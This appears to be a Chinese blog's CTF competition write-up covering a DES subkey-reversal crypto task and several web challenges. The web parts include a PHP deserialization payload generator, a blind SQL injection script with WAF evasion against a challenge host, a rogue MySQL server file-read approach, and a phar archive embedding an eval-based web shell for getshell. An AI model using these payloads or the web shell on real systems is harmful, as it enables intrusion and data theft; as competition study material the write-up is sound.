前言

最近的国赛,因为题目环境已经关了,所以只简单记录一下思路。

吹爆队内的 Misc 师傅和二进制爷爷!


part_des(Crypto)

题目给了两个数据,分别是第 n 轮的密文和16轮中生成的所有子密钥
在 DES 算法中,子密钥都是通过密钥生成的,那我们能不能通过子密钥来反推密钥呢?如果能得到密钥,我们使用密钥进行加密,然后在其中第 n 轮修改它的密文,然后再解密最终密文就可以得到明文了。
答案是可以的:https://skysec.top/2017/12/25/%E4%B8%80%E9%81%93%E6%9C%89%E5%85%B3%E5%AF%86%E9%92%A5%E7%BC%96%E6%8E%92%E7%9A%84DES%E9%A2%98%E7%9B%AE/#%E7%94%B1%E5%AD%90%E5%AF%86%E9%92%A5%E5%8F%8D%E6%8E%A8deskey

脚本如下,需要自行修改 pyDes 中的解密函数,对 n=1-16 进行尝试,最后得到 n=13 时 flag 为明文:

import itertools
from pyDes import *

key = [
    '111000001011111001100110000100000011001011010101',
    '111100001011011001110110111110000010000010010101',
    '111001001101011001110110001000110110001010001111',
    '111001101101001101110110001101100011000110000011',
    '101011101101001101110011101001100000000101100111',
    '101011110101001101111011010001101010101111000010',
    '101011110101001111011001011101001000010101011001',
    '000111110101101111011001010010111001010001001010',
    '001111110100100111011001010010001001011111101010',
    '000111110110100110011101000111001101110000101001',
    '000111110010110110011101010010100101110001110000',
    '010111110010110010101101100010011110100100111000',
    '110110111010110010101100101000010101111000010000',
    '110110001010111010101110110110010000001000110110',
    '111100001011111000101110100101010100101010001100',
    '111100001011111010100110000100010010111010000100'
]
__pc2 = [
    13, 16, 10, 23, 0, 4,
    2, 27, 14, 5, 20, 9,
    22, 18, 11, 3, 25, 7,
    15, 6, 26, 19, 12, 1,
    40, 51, 30, 36, 46, 54,
    29, 39, 50, 44, 32, 47,
    43, 48, 38, 55, 33, 52,
    45, 41, 49, 35, 28, 31
]
C1D1 = ['*'] * 56
for i in range(0, len(key[0])):
    C1D1[__pc2[i]] = key[0][i]
print "".join(C1D1)[:28], "".join(C1D1)[28:]

C0 = '000000001*11111111*111*10*00'
D0 = '0000111*11*1001*0000100001*0'
__pc1 = [56, 48, 40, 32, 24, 16, 8,
         0, 57, 49, 41, 33, 25, 17,
         9, 1, 58, 50, 42, 34, 26,
         18, 10, 2, 59, 51, 43, 35,
         62, 54, 46, 38, 30, 22, 14,
         6, 61, 53, 45, 37, 29, 21,
         13, 5, 60, 52, 44, 36, 28,
         20, 12, 4, 27, 19, 11, 3
         ]
C0D0 = C0 + D0
res = ['*'] * 64
deskey = ""
for i in range(0, len(__pc1)):
    res[__pc1[i]] = C0D0[i]
for i in res:
    deskey += i
print deskey

def zuoyiwei(str, num):
    my = str[num:len(str)]
    my = my + str[0:num]
    return my


def key_change_1(str):
    key1_list = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44,
                 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28,
                 20, 12, 4]
    res = ""
    for i in key1_list:
        res += str[i - 1]
    return res


def key_change_2(str):
    key2_list = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37,
                 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32]
    res = ""
    for i in key2_list:
        res += str[i - 1]
    return res


def key_gen(str):
    key_list = []
    key_change_res = key_change_1(str)
    key_c = key_change_res[0:28]
    key_d = key_change_res[28:]
    for i in range(1, 17):
        if (i == 1) or (i == 2) or (i == 9) or (i == 16):
            key_c = zuoyiwei(key_c, 1)
            key_d = zuoyiwei(key_d, 1)
        else:
            key_c = zuoyiwei(key_c, 2)
            key_d = zuoyiwei(key_d, 2)
        key_yiwei = key_c + key_d
        key_res = key_change_2(key_yiwei)
        key_list.append(key_res)
    return key_list


asdkey = "11001101100111111001011010101100100110010011101001100101"
qwekey = "11001101100110111001111010111100101110010111101011100101"

print key_gen(deskey)
unknow = ['111000001011111001100110000100000011001011010101', '1j1n000010d101100m110110111k100000100000be0a0101',
          '11100100jm010d10011101100010001ae11000101000111b', '1d1001101101001m01110nj0001101b000k10e0110000011',
          '10j01110d10100110111001m10k0e1100000000b01100a11', '1010111m0101001101n110d1010001101e101011a10000k0',
          'n0d0111101010011m10j10010b110k00100001010101100a', '000m1j11010110n111011001e10010a1100101000k00b010',
          '00n111110100m00j1d0110010k00100e10010b11111010a0', '000111110dm010011001110j0001ba00110111000010k001',
          '0001111j00101m0d100n1101010010100b0k11000a110e00', '0m011n1100101100j010110d10001001a1101001e0k11000',
          '110j10ndm010110010101100b01000010101ka100001000e', '1101n00010101110d01011m01101a0e1000000b0001k0110',
          '11md0000101111100010nj10100b010k0a00101e10001100', '11110000101mdj10n010011000010e010010a1k010000b00']


def check(s):
    look = 1
    count = 0
    for y in xrange(16):
        if s in unknow[y]:
            count += 1
            try:
                assert key[y][unknow[y].index(s)] == "1"
            except:
                look = 0
                break
    if count == 0:
        print x + ": Unknow"
    elif look == 1:
        print x + ": 1"
    else:
        print x + ": 0"


for x in "abcdefghijklmnop":
    check(x)

key = "110011c110011f111001g110101h110010i110010l111010o110010p"

for x in itertools.product("01", repeat=8):
    my_key = ""
    count = 0
    my_key2 = ""
    for y in xrange(56):
        if key[y] in ["1", "0"]:
            my_key += key[y]
        else:
            my_key += x[count]
            count += 1
    for y in xrange(8):
        my_key2 += chr(int(my_key[y * 7: y * 7 + 7], 2))
    data = "\x23" * 8
    k = des(my_key2)
    d = k.encrypt(data)
    z = k.decrypt(d)
    print z
print "Over!"

JustSoso(Web)

进入题目查看注释,可以看到提示,利用本地文件读取漏洞读取源码,很明显是反序列化题目,只要绕开几个点就可以了:url_parse 用3个/ ,wake_up 用修改成员数量,MD5 比较用指针绕过,脚本如下:

<?php
class Handle{
    private $handle;
    public function __wakeup(){
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
    public function __construct($handle) {
        $this->handle = $handle;
    }
    public function __destruct(){
        $this->handle->getFlag();
    }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;

    function __construct($file){
        $this->file = $file;
        $this->token = &$this->token_flag;
    }

    public function getFlag(){
        $this->token_flag = md5(2333);
        if($this->token === $this->token_flag)
        {
            if(isset($this->file)){
                echo @highlight_file($this->file,true);
            }
        }
    }
}

$a = new Handle(new Flag("flag.php"));
$a = urlencode(serialize($a));
echo $a;

全宇宙最简单的SQL(Web)

很坑的题目,首先,主办方开的容器先到先得,晚来的甚至没得做;其次明明是盲注题目,却有知道创宇的 waf 进行拦截,所以我只能用代理来解决。
进入题目,看到提示说是一道 SQL 题,先测试一下 WAF,可以看到 or 、sleep 等很多关键词被替换掉了,再多测试可以发现,题目会有两个回显,语法正确和错误,所以尝试采用报错盲注。因为 or 被过滤的原因,所以我们无法获取表名,但是我们可以通过 union 联查进行猜解判断,根据 form 表单的字段名 username、password,猜测得到表名为 user,但是字段名如果是 password,没有 or 我们也无法注入,所以要使用不使用列名的注入方法:http://www.poluoluo.com/server/201706/547394.html
写出脚本:

import requests

headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Cache-Control': 'max-age=0'
}
result = ""
url = "http://5104b761a17d46b289b8e3ab06c17f11d7f717deebd04df2.changame.ichunqiu.com/"
flag = "F1AG@1s-at_/fll1llag_h3r3"
for x in xrange(1, 10):
    for y in xrange(33, 128):
        payload = "'and (select ascii(mid((select(select e.2 from " \
                  "(select * from (select 1)a, (select 2)b union select * from user)e " \
                  "limit 1 offset 1)f),%s,1))=%s)*999*pow(999,102)#" % (x + 1, y)
        data = {
            "username": payload,
            "password": 'Twings'
        }
        content = requests.post(url, data=data, headers=headers).content
        if 'error_403' in content:
            print "Error: 知道创宇的WAF!"
            exit(1)
        if '数据库操作失败!' in content:
            result += chr(y)
            print "[Get] " + result
        if y == 127:
            print "Error!"
            exit(1)
print result

跑出密码,登陆后台,看到后台的连接远程 MySQL功能,联想到 DDCTF 的 MySQL 弱密码题目,根据密码提示的 flag 文件的位置猜测要读文件,所以直接利用别人写好的脚本 rogue_mysql_server.py 。

love_math(Web)

利用 base_convert 进制转换拼凑出 _GET,system,getallheaders 或者 readfile 等等字符串,最后使用大括号表示数组即可。

RefSpace(web)

进入题目,可以看到一个类似本地文件读取漏洞的参数 ?route=app/index ,利用该漏洞可以一步步获取所有源码( index.php、app/index.php 、app/flag.php 、backup.zip),还有 web 目录存在 robots.txt,我们可以得到一个上传点 Up10aD.php,上传点只可以上传 jpg 等文件,但是利用文件包含点,我们可以使用 phar 协议进行 getshell:

$p = new Phar('twings2.phar', 0);
$p['twings.php'] = '<?php eval($_GET["cmd"]);?>';
$p->setStub('<?php __HALT_COMPILER(); ?>');

修改后缀为 jpg,上传包含 getshell。通过列目录,我们可以得到加密后的flag.txt、sdk.php、和加密的扩展因为sdk.txt 提示的原因,所以我们不去解密这些文件,主要把目光放在他提示的函数上,主要是这里:

if (sha1($key) === $this->getHash()) {
    return "too{young-too-simple}";
}

那么我们怎么让这里相同呢?首先我们肯定要知道 getHash 函数的返回值,这里我们可以通过反射来完成,因为是私有变量的原因,所以我们需要调用 setAccessible。得到了 sha1 的结果之后,我们首先尝试了进行解密,结果各个网站都失败了,我们不得不开始想别的办法,有没有办法覆盖 sha1 函数?结果我们在 php.net 上面看到一句话,说 PHP 不支持也不可能有函数重载、删除等等,所以我们也只能放弃了这个思路。后来看到 flag.php 中的那么一行代码:use interesting\FlagSDK; 那我们能不能使用命名空间做文章?就像一般函数的命名空间都是 \ 一样,如果我们修改了命名空间,然后重新定义函数,就可以操控 sha1 的返回了。


Orx


CTF

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

反射
DDCTF2019 [Pwn]strike